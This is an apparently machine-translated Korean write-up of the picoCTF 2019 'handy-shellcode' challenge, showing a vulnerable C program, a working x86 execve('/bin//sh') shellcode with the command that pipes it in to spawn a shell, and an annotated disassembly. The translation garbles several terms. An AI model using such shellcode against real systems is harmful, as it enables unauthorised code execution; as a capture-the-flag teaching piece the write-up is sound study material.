picoCTF 2019 handy-shellcode 설명

6825 단어 assembly
이것은 pwn의 초보적인 문제다.개요는 악의적인 조개 코드를 박아 조개의 권한을 빼앗고 명령을 실행하면 표지를 얻을 수 있다.

문제를 고찰하다


문제의 디렉터리에 들어가서 flag을 보십시오.txt가 있습니다.여기 표지가 있는 것 같아요.캣 명령으로 표지판을 열 수도 없잖아.물론 권한이 부족하다.

그래서우리 c 안에 있는 물건을 봅시다.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>

#define BUFSIZE 148
#define FLAGSIZE 128

void vuln(char *buf){
  gets(buf);
  puts(buf);
}

int main(int argc, char **argv){

  setvbuf(stdout, NULL, _IONBF, 0);

  // Set the gid to the effective gid
  // this prevents /bin/sh from dropping the privileges
  gid_t gid = getegid();
  setresgid(gid, gid, gid);

  char buf[BUFSIZE];

  puts("Enter your shellcode:");
  vuln(buf);

  puts("Thanks! Executing now...");

  ((void (*)())buf)();


  puts("Finishing Executing Shellcode. Exiting now...");

  return 0;
}
이 코드에서 다음과 같은 내용을 알 수 있다.
① //Set the gid to the effective gid. this prevents/bin/sh from dropping the privleges의 설명에서 이 코드에서/bin/sh를 호출하면 조개껍질을 사용할 수 있습니다
②gets 함수에서 받은 입력이 buf에 저장됨
③((((vod(*)()buf) ()에서 매개 변수 함수가 없는 함수 포인터로 buf를 할당하여 즉시 실행

답안


/bin/sh를 호출할 수 있는 조개 코드를 찾습니다.웹 사이트여기.를 사용했습니다.Intel x86에서 사용할 수 있는 패각 코드를 찾습니다.

다음은 포함된 조개 코드입니다.
\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80
그런 다음 셸을 부팅할 수 있습니다.
(echo -e "\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80";cat) | ./vuln
cat flag.txt를 입력하면 로고를 얻을 수 있습니다.

왜 조개가 작동하지?


아까 케이스 역조립해서 내용 확인하세요.

echo -en "\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80" > tmp && objdump -M intel -D -b binary -m i386 tmp > asm.txt

   0:   31 c9                   xor    ecx,ecx    # ecxに0をセット
   2:   f7 e1                   mul    ecx        # eaxにecxをかけ、edx:eaxに0をセット  
   4:   b0 0b                   mov    al,0xb     # eaxの下位8ビットに0xbをセット
   6:   51                      push   ecx        # ecxの値は0なので,ヌル文字を表している?
   7:   68 2f 2f 73 68          push   0x68732f2f # asciiコードを文字に直すと //sh (リトルエンディアンであることに注意)
   c:   68 2f 62 69 6e          push   0x6e69622f # asciiコードを文字に直すと /bin
  11:   89 e3                   mov    ebx,esp    # ebxにスタックに積んだ"/bin//sh\0\0\0\0"の先頭番地をセット
  13:   cd 80                   int    0x80       # 割り込み発生 eaxの値を見てシステムコールの種類を特定

int가 0x80에서 중단되었을 때 eax의 값을 확인하고 어떤 시스템 호출을 사용할지 결정합니다.번호와 시스템 호출의 대응은/usr/include/asm/unistd32h로 확인할 수 있습니다.

이번에는 eax에서 (위) 0xb, 즉 10진수로 11을 넣었기 때문에execve가 호출되었다는 것을 알았습니다.
execve를 호출할 때의 매개 변수로, "/bin/sh\0\0"은 창고에 쌓여 있습니다. (왜/바이트 수를 위한 조합이 하나 더 생겼는지 모르겠습니다.)execve에서 첫 번째 인자의 실행 파일 경로를 지정하기 위해 케이스를 시작할 수 있습니다.

좋은 웹페이지 즐겨찾기